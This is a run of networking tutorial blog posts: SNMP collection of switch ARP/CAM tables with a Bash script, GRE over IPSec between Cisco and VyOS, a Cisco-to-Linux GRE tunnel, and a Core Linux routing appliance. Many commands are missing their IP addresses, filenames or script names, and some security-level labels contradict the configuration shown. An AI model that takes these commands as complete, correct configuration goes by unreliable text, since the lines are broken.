vIOS-L2-3(config)# snmp-server group V3Group v3 auth context vlan- match prefix

Snmpwalk command that queries ARP table on switch with IP address is following:

$ snmpwalk -v3 -On -l auth -u V3User -a md5 -A your_Auth_Password

2.3 Cisco Switch vIOS-L2-2 ( configured for SNMPv3 and Security Level NoAuthNoPriv

SNMP configuration below allows a read access to the switch for NMS. The configured security level AuthNoPriv (noauth) is the less secure as it does not provide authentication nor encryption
of SNMP messages.

vIOS-L2-2(config)# snmp-server group V3Group v3 noauth read V3Read
vIOS-L2-2(config)# snmp-server user V3User V3Group v3
vIOS-L2-2(config)# snmp-server view V3Read iso included
vIOS-L2-2(config)# snmp-server group V3Group v3 priv context vlan- match prefix

Snmpwalk command that queries ARP table on switch with IP address is following:

$ snmpwalk -v3 -On -u V3User

2.4 Cisco Switch vIOS-L2-4 ( configured for SNMP v2c

We want the script to support an old SNMP version 1 n 2c as it is still used by some network devices. Configuration below provides a read access to the switch vIOS-L2-4 ( for NMS. It is not recommended to configure SNMP v2 as it does not provide authentication nor encryption of SNMP messages.

vIOS-L2-4(config)# snmp-server community public RO

Snmpwalk command that queries ARP table on switch with IP address is following:

$ snmpwalk -v 2c -On -c public

In case we want to collect entries from CAM table we have to add character '@' to the community string together with VLAN ID. For instance, to query instances for VLAN 100, the snmpwalk command has the following syntax:

$ snmpwalk -v 2c -On -c public@100

3. BASH Script for Collecting MAC and IP addresses of Host Connected to Cisco Switches

First download a and assign execute permission to the script.

$ chmod +x

Below is shown the syntax of BASH the script. Arguments -d, -f and -n are obligatory.


Picture 2 -Script Syntax

The argument -f determines a path to the file where IPv4 addresses and SNMP credentials of switches are stored. The structure of the file is shown below. Parameters must be separated by commas.,3,authNoPriv,1,V3User,sha,your_Auth_Password,3,noAuthNoPriv,1,V3User,3,authPriv,1,V3User,md5,your_Auth_Password,aes,your_Enc_Password,2c,public,1,2c,public,1,2c,public,100

Column Number - Parameter - Example
1 - IPv4 address of the switch -
2 - SNMP version - 1,2c, or 3
3 - Security level (v3) or the name of community string (v1, v2c) - noAuthNoPriv (v3), AuthNoPriv (v3), authPriv (v3) or public (v1, v2c)
4 - VLAN ID - (1-4094)
5 - Username (v3 only) - V3User
6 - Authentication protocol (v3 only) - md5 or sha
7 - Authentication password (v3 only) - your_Auth_Password
8 - Encryption algorithm (v3 only) - des or aes
9 - Encryption password (v3 only) - your_Enc_Password

Notice the last two lines in the file. To collect MAC and IP of hosts connected to switch with IP address for VLAN1 and VLAN100, the file has to contain two lines, one for each VLAN.

The argument -d specifies a directory where the result will be stored. Create a directory with the command:

$ mkdir result

The argument -tells the script what is a maximum number of MACs (hosts) allowed on a single switchport. Normally we have only one host (MAC address) connected to a single switchport. Therefore we have to set n value to 1. But in case they are two or more hosts connected to a single switchport, we need to increase the 'n' value. For instance if we have a computer connected to a Cisco VOIP phone and the phone is connected to a switchport, they are two MAC addresses presented in CAM table for the switchport. In this case we have to set argument 'n' to 2.

The script uses argument -n to distinguish between a trunk port that connects switch to another switch and the switchports connecting end devices to the network. For instance if you enter value -n 1 and a switch founds two MAC addresses associated with a switchport then the port is considered to be a trunk port. Trunk ports and their associated MAC addresses are not added to the result files.

4. Script Testing

To make using BASH script easier for you I decided to create Vmware NMS appliance based on Linux Core and share it with you. The appliance is loaded with snmpwalk command and the script stored in /home/tc directory. All you need to do is following:

4.1 Assign IP address to NMS

$ sudo ip addr add dev eth0
$ echo "ip addr add dev eth0" >> /opt/

4.2 Create file containing IP addresses of the switches and SNMP credentials

$ vim iplist.txt,3,authNoPriv,1,V3User,sha,your_Auth_Password,3,noAuthNoPriv,1,V3User,3,authPriv,1,V3User,md5,your_Auth_Password,aes,your_Enc_Password,2c,public,1,1,authPriv,1,V3User,md5,your_Auth_Password,aes,your_Enc_Password,1,authPriv,100,V3User,md5,your_Auth_Password,aes,your_Enc_Password

4.3 Create directory where result will be stored

$ mkdir result

Note: If you want to keep a content of the directory /home/tc/ you have to issue the command below otherwise changes gone after reboot. This is requirement of  Core Linux.

$ /usr/bin/ -b

4.4 Testing

Now you can start the script with the command below. You can check the output of the script output_log.

$ ./ -d result -f iplist.txt -n 1

The result is stored in a directory result.


Picture 3 - Content of Directory Result



GRE over IPSec Tunnel Between Cisco and VyOS

The previous tutorial shown GRE tunnel configuration between Cisco router and Linux Core. The big advantage of GRE protocol is that it encapsulates L3 and higher protocols inside the GRE tunnel so routing updates and other multicast traffic can be successfully transferred over the tunnel. The main drawback of GRE protocol is the lack of built-in security. Data are transferred in plain-text over the tunnel and peers are not authenticated (no confidentiality). Tunneled traffic can be changed by attacker (no integrity checking of  IP packets). For this reason GRE tunnel is very often used in conjunction with IPSec. Typically, GRE tunnel is encapsulated inside the IPSec tunnel and this model is called GRE over IPSec.

The tutorial shows configuration of OSPF routing protocol, GRE and IPSec tunnel on Cisco 7206 VXR router and appliance running VyOS network OS. Devices are running inside GNS3 lab an they are emulated by Dynamips (Cisco) and Qemu (VyOS).


Picture 1 - Topology

Note: VyOS installation is described here. You can easily build your own VyOS Qemu appliance using the Expect and Bash script shared in the article.

1. R3 Configuration

R3(config)# interface gigabitEthernet 1/0
R3(config-if)# ip address
R3(config-if)# no shutdown

R3(config-if)# interface gigabitEthernet 0/0
R3(config-if)# ip address
R3(config-if)# no shutdown

2. R1 Configuration

2.1 Interfaces and Static Route Configuration

R1(config)# interface gigabitEthernet 0/0
R1(config-if)# ip address
R1(config-if)# no shutdown

R1(config)# interface gigabitEthernet 1/0
R1(config-if)# ip address
R1(config-if)# no shutdown

A static route pointing to the subnet via router R3 is needed in a routing table of the router R1 so we have to create it.

R1(config)# ip route

2.2 IPSec Tunnel Configuration

Internet Security Association and Key Management Protocol (ISAKMP), is the negotiation protocol that lets two hosts agree on how to build an IPsec security association. ISAKMP separates negotiation into two phases - Phase 1 and Phase 2.

Phase 1 creates the first tunnel, which protects later ISAKMP negotiation messages. Phase 2 creates the tunnel that protects data (IPSec).

ISAKMP Configuration - ISAKMP Phase 1

First we create isakmp policy and select encryption, the hash algorithm, type of authentication, Diffie-Hellman group and lifetime.

R1(config)# crypto isakmp policy 1
R1(config-isakmp)# encryption aes 256
R1(config-isakmp)# hash md5
R1(config-isakmp)# authentication pre-share
R1(config-isakmp)# group 14
R1(config-isakmp)# lifetime 86400
R1(config-isakmp)# exit

Note: You can check these parameters in the Transform payload located in first and the sixth packet  of the attached pcap file.

Then we configure key the shared key and peer address.

R1(config)#crypto isakmp key test123 address

IPSec Configuration - ISAKMP Phase 2

In phase two we create  IPSec transform set and configure encryption and the hash algorithm. This is also a place where we define IPSec mode - either a tunnel (default) or transport mode. In the tunnel mode a completely new IP delivery header is inserted in each IPSec packet while in a transport mode IP header stays untouched (except of the changed protocol type  - 50 for ESP).

R1(config)# crypto ipsec transform-set MyTS esp-aes esp-md5-hmac
R1(cfg-crypto-trans)# mode tunnel

Continue with creating a new IPSec profile named Protect-Gre. Assign transform-set MyTS is to the profile Protect-GRE and configure the lifetime.

R1(config)# crypto ipsec profile Protect-GRE
R1(ipsec-profile)# set security-association lifetime seconds 86400
R1(ipsec-profile)# set transform-set MyTS

And finally assign IPSec profile to the interface tun0.

R1(config)# interface Tunnel 0
R1(config-if)# tunnel protection ipsec profile Protect-GRE

2.3 GRE Tunnel Configuration

R1(config)# interface tunnel 0
R1(config-if)# description Tunnel to R2
R1(config-if)# ip address
R1(config-if)# ip mtu 1400
R1(config-if)# ip tcp adjust-mss 1360
R1(config-if)# ip ospf network broadcast
R1(config-if)# tunnel source
R1(config-if)# tunnel destination

It is recommend to use the Cisco online IPSec overhead calculator to calculate Maximum Transmission Unit (MTU) for IP packet.


Picture 2 - IPSec and GRE Tunnel Overhead Calculation

The total calculated IPsec packet size is 1592 bytes. The IPSec and GRE protocol overhead add additional 92 bytes to original 1500B MTU. To avoid fragmentation by devices on the path we have to decrease MTU from 1500 to 1400 bytes.


Picture 3 - Total Overhead of IPSec and GRE Tunnel 

The maximum Segment Size (MSS) for TCP segments is always 40 Bytes (IP 20B + TCP 20B) lower than MTU. For this reason we set MSS to 1360 bytes.

2.4 OSPF Configuration

R1(config)# router ospf 10
R1(config-router)# network area 0
R1(config-router)# network area 0
R1(config-router)# passive-interface gigabitEthernet 1/0

3. VyOS Configuration

3.1 Interfaces and Static Route Configuration

vyos@vyos:~$ configure
vyos@vyos# set interfaces ethernet eth0 address
vyos@vyos# set interfaces ethernet eth1 address

Again we have to configure static route pointing to the subnet 1.1.10/24.

vyos@vyos# set protocols static route next-hop

3.2 IPSec Tunnel Configuration

Enable IPSec on interface eth0.

vyos@vyos# set vpn ipsec ipsec-interfaces interface eth0

Configure an IKE Group - Phase 1

Set the encryption, the hash algorithm, DH group and lifetime for phase 1.

vyos@vyos# set vpn ipsec ike-group cisco proposal 1
vyos@vyos# set vpn ipsec ike-group cisco proposal 1 encryption aes256
vyos@vyos# set vpn ipsec ike-group cisco proposal 1 hash md5
vyos@vyos# set vpn ipsec ike-group cisco proposal 1 dh-group 14

vyos@vyos# set vpn ipsec ike-group cisco lifetime 86400

Configure an ESP Group - Phase 2

Set the encryption, the hash algorithm and lifetime for phase 2.

vyos@vyos# set vpn ipsec esp-group cisco proposal 1
vyos@vyos# set vpn ipsec esp-group cisco proposal 1 encryption aes128
vyos@vyos# set vpn ipsec esp-group cisco proposal 1 hash md5

vyos@vyos# set vpn ipsec esp-group cisco pfs enable
vyos@vyos# set vpn ipsec esp-group cisco lifetime 86400
vyos@vyos# set vpn ipsec esp-group cisco mode tunnel

Configure tunnel peer and pre-shared key.

vyos@vyos# set vpn ipsec site-to-site peer authentication pre-shared-secret test123

Configure ike-group used for the tunnel.

vyos@vyos# set vpn ipsec site-to-site peer ike-group cisco

Configure esp-group used for the tunnel.

vyos@vyos# set vpn ipsec site-to-site peer tunnel 0 esp-group cisco

Configure local address used for connection.

vyos@vyos# set vpn ipsec site-to-site peer local-address

Configure protocol encapsulated inside IPSec.

vyos@vyos# set vpn ipsec site-to-site peer tunnel 0 protocol gre

3.3 GRE Tunnel Configuration

Create a new route policy that changes TCP MSS to 1360 bytes.

vyos@vyos# set policy route change-mss rule 1 set tcp-mss 1360
vyos@vyos# set policy route change-mss rule 1 protocol tcp
vyos@vyos# set policy route change-mss rule 1 tcp flags SYN

Configure GRE tunnel.

vyos@vyos# set interfaces tunnel tun0 encapsulation gre
vyos@vyos# set interfaces tunnel tun0 address
vyos@vyos# set interfaces tunnel tun0 description "Tunnel to R1"
vyos@vyos# set interfaces tunnel tun0 mtu 1400
vyos@vyos# set interfaces tunnel tun0 policy route change-mss
vyos@vyos# set interfaces tunnel tun0 local-ip
vyos@vyos# set interfaces tunnel tun0 remote-ip
vyos@vyos# set interfaces tunnel tun0 multicast enable

3.4 OSPF Configuration

vyos@vyos# set interfaces tunnel tun0 ip ospf network broadcast
vyos@vyos# set protocols ospf area network
vyos@vyos# set protocols ospf area network
vyos@vyos# commit
vyos@vyos# save





GRE Tunnel Between Cisco and Linux

Generic Routing Encapsulation - GRE is a tunneling protocol originally developed by Cisco that encapsulates various network protocols inside virtual point-to-point tunnel. It transports multicast traffic via GRE tunnel so it allows passing of routing information between connected networks. As it lacks of security it is very often used in conjunction IP SEC VPN that on the other hand is not capable to pass multicast traffic.

The goal of the tutorial it to show configuration of GRE tunnel on a Cisco router and a device with OS Linux. I have created GNS3 lab consisting of two local networks - and connected via GRE tunnel. GRE tunnel interface is configured on router R1 (Cisco 7206VXR) and Core Router (Core Linux with Quagga routing daemon installed). The both routers have their outside interfaces connected to a router R3 that is located in the "Internet". To prove that GRE tunnel is working and transporting multicast traffic, the OSPF routing protocol is started on R1 and Core routers and configured on tunnel interfaces and interfaces pointing to local networks.

Note: The Core Linux vmdk image is available for download here. Username/password is tc/tc.

Picture1-TopologyPicture 1 - Topology

1. Initial Configuration

First we assign hostnames and IP addresses to all devices. Then we will configure static routes on routers R1 and R2 to achieve full connectivity between these routers.

1.1 R3 Configuration

R3(config)#hostname R3

R3(config)#interface g1/0
R3(config-if)#ip address
R3(config-if)#no shutdown

R3(config-if)#interface gi0/0
R3(config-if)#ip address
R3(config-if)#no shutdown

1.2 R1 Configuration

R1(config)# hostname R1
R1(config)# interface gi0/0
R1(config-if)# ip address
R1(config-if)# no shutdown

R1(config-if)# interface gi1/0
R1(config-if)# ip address
R1(config-if)# no shutdown

R1(config-if)# ip route

1.3 Core Router Configuration

tc@box:~$ sudo hostname "Core Router"
tc@box:~$ exit
tc@Core Router:~$ sudo ip addr add dev eth0
tc@Core Router:~$ sudo ip addr add dev eth1

tc@Core Router:~$ sudo ip route add via

Add the configuration above to /opt/ in order to run commands during the boot of Core Linux.

tc@Core Router:~$ echo 'hostname "Core Router"' >> /opt/
tc@Core Router:~$ echo "ip addr add dev eth0" >> /opt/
tc@PC2:~$ echo "ip link set dev eth0 up" >> /opt/
tc@Core Router:~$ echo "ip addr add dev eth1" >> /opt/
tc@PC2:~$ echo "ip link set dev eth1 up" >> /opt/
tc@Core Router:~$ echo "ip route add via" >> /opt/

Save configuration with the command below.

tc@Core Router:~$ /usr/bin/ -b

At this point we should have connectivity between routers R1 and R2. Check it with the ping command.


Picture 2 - Testing Connectivity Between Routers

1.4 PC1 and PC2 Configuration

tc@box:~$ sudo hostname PC1
tc@box:~$ exit
tc@PC1:~$ sudo ip addr add dev eth0
tc@PC1:~$ sudo ip route add default via

Issue the commands below in in order to add  configuration to /opt/

tc@box:~$ echo "hostname PC1" >> /opt/
tc@PC1:~$ echo "ip addr add dev eth0" >> /opt/
tc@PC2:~$ echo "ip link set dev eth0 up" >> /opt/
tc@PC1:~$ echo "ip route add default via" >> /opt/

And finally save configuration.

tc@PC1:~$ /usr/bin/ -b

tc@box:~$ sudo hostname PC2
tc@box:~$ exit
tc@PC2:~$ sudo ip addr add dev eth0
tc@PC2:~$ sudo ip route add default via

tc@PC2:~$ echo "hostname PC2" >> /opt/
tc@PC2:~$ echo "ip addr add dev eth0" >> /opt/
tc@PC2:~$ echo "ip link set dev eth0 up" >> /opt/

tc@PC2:~$ echo "ip route add default via" >> /opt/
tc@PC2:~$ /usr/bin/ -b

2. IP GRE Tunnel Configuration on R1 and Core Router

The Maximum Transmission Unit (MTU) is the largest size of  IP packet and it is  1500 Bytes.  The 1500B MTU value consists of IP header 20B + TCP 20B + data (payload) 1460B. GRE tunnel adds additional 24B overhead to MTU. For this reason we must reserve 24B for GRE overhead in IP packet and change MTU for tunnel interface to 1476 Bytes.

We also need to set the Maximum Segment Size - MSS for TCP traffic. The maximum segment size is actualy the size of payload (user data) of TCP segment thus 40 bytes lower than IP MTU (1476B MTU minus IP header 20B and TCP header 20B). Therefore the MSS value will be set to 1436 Bytes.

2.1 R1 Configuration

R1(config)# interface tunnel 0
R1(config-if)# description Tunnel to R2
R1(config-if)# ip address
R1(config-if)# ip mtu 1476
R1(config-if)# ip tcp adjust-mss 1436
R1(config-if)# tunnel source
R1(config-if)# tunnel destination

2.2 Core Router Configuration

First we load module gre and ip_gre modules to Linux kernel.

tc@Core Router:~$ sudo modprobe gre && sudo modprobe ip_gre

tc@Core Router:~$ echo "modprobe gre" >> /opt/
tc@Core Router:~$ echo "modprobe ip_gre" >> /opt/

Then we can create GRE tunnel.

tc@Core Router:~$ sudo ip tunnel add tun0 mode gre remote local ttl 255
tc@Core Router:~$ sudo ip link set tun0 up
tc@Core Router:~$ sudo ip addr add dev tun0

In order to start tunnel after boot of Core Linux, we need to add commands to /opt/

tc@Core Router:~$ echo "ip tunnel add tun0 mode gre remote local ttl 255" >> /opt/
tc@Core Router:~$ echo "ip link set tun0 up" >> /opt/
tc@Core Router:~$ echo "ip addr add dev tun0" >> /opt/

tc@Core Router:~$ /usr/bin/ -b

3. OSPF Routing Protocol Configuration on R1 and Core Routers

3.1. R1 Configuration

R1(config)# router ospf 10
R1(config-router)# network area 0
R1(config-router)# network area 0

To help building OSPF adjacency we will use the command ip ospf network broadcast on a tunnel interface.

R1(config-router)# interface tun0
R1(config-if)# ip ospf network broadcast
R1(config-router)# do write

3.2. Core Router Configuration

There is Quagga routing daemon installed on Core Linux. We will use Quagga shell and configure OSPF protocol as following.

tc@Core Router:~$ sudo vtysh
Core Router# conf t
Core Router(config)# router ospf
Core Router(config-router)# network area 0
Core Router(config-router)# network area 0
Core Router(config-router)# interface tun0
Core Router(config-if)# ip ospf network broadcast
Core Router(config-router)# do write
Core Router(config-router)# ^Z
Core Router# exit

The MTU on both sides of a tunnel must match in order to establish OSPF adjacency so we need to set MTU for the interface tun0 to 1476 Bytes.

tc@Core Router:~$ sudo ip link set tun0 mtu 1476
tc@Core Router:~$ echo "ip link set tun0 mtu 1476" >> /opt/

tc@Core Router:~$ /usr/bin/ -b

4. Structure of IP Packet Encapsulated Inside GRE Tunnel

The picture 3 reveals a structure IP packet encapsulated inside GRE tunnel. The SSH traffic is sent from host PC1 ( to host PC2 ( The GRE header is added to original IP packet (IP+ TCP + SSH)  along with  completely new delivery L2 and L3 headers (source IP, destination IP address  The protocol type inside delivery header is set to 47 (GRE) - it is not shown on the picture.


Picture 3 - Structure of IP Packet Encapsulated Inside GRE Tunnel


Linux Core 6.3 as Routing and Switching VMware Appliance

Two weeks ago I finished creating a network host based on Linux Core 6.3 installed on WMware x86-64 virtual machine. I loaded Core Linux with several network extensions that allows host to generate, measure, route network traffic and scan networks. I also wrote a short article that contains a list of loaded extension.

Then I went further with the ​project and my goal was to build L3 switch and router based on  Core Linux 6.3 loaded with Open vSwitch, Quagga, Bird and Keepalived extension. Those are the right extensions that turn a network host  to routing and switching appliance. Furthermore routing daemons Quagga and Bird and multilayer switch Open vSwitch are used in many large production networks so it is certainly worth to be familiar with them.

The R&S appliance I built can be used for learning networking on Linux, routing and switching. The appliance is available for download in Download section. Please be aware that it is only vmdk disk not the whole virtual machine. For this reason you have to create a virtual machine in your favorite virtualizer (Qemu, VirtualBox, VMware Player/Workstation) and then attach the disk to the virtual machine. As some users have troubles to do these steps  I share  a quick hint for VMware Workstation 10:

CTRL-N -> Custom (advanced) installation -> Hw compatibility - Workstation 10.0-> I will install OS later-> Other Linux 3.x kernel 64-bit-> I/O Controller Types - LSI Logic-> Virtual Disk Type - SCSI-> Use an existing virtual disk.

The virtual VMware appliance  contains  the following extensions:

openvswitch - 2.4.90
quagga -
bird - 1.5.0
keepalived - 1.2.19
bash - 4.3.39(1) with patches up to 39
bash-completion - 2.1
d-itg - 2.8.1-r1023
hping3 - 3.0.0-alpha-1
iperf3 - 3.1b3
iproute2 - 3.14.0
iptables - 1.4.21
ipv6-3.16.6-tinycore64 - 3.16.6
libpcap - 1.7.4
mtr - 0.86
ncat - 6.40
nmap - 6.40
openssh - 6.0p1
tcpdump - 4.7.4

Note: If the application is needed and it is not on the list, it can be installed with the command:

$ tce-load -wi your_extension.tcz

In case the extension is not available in Tinycore public repository (HTTP/1.1 404) you have to built it by yourself.

For those who are interested in installation steps the whole process of extension installation  is described in this article.

Here I share one of my lab based on my Linux Core L3 switch and router appliance for your inspiration.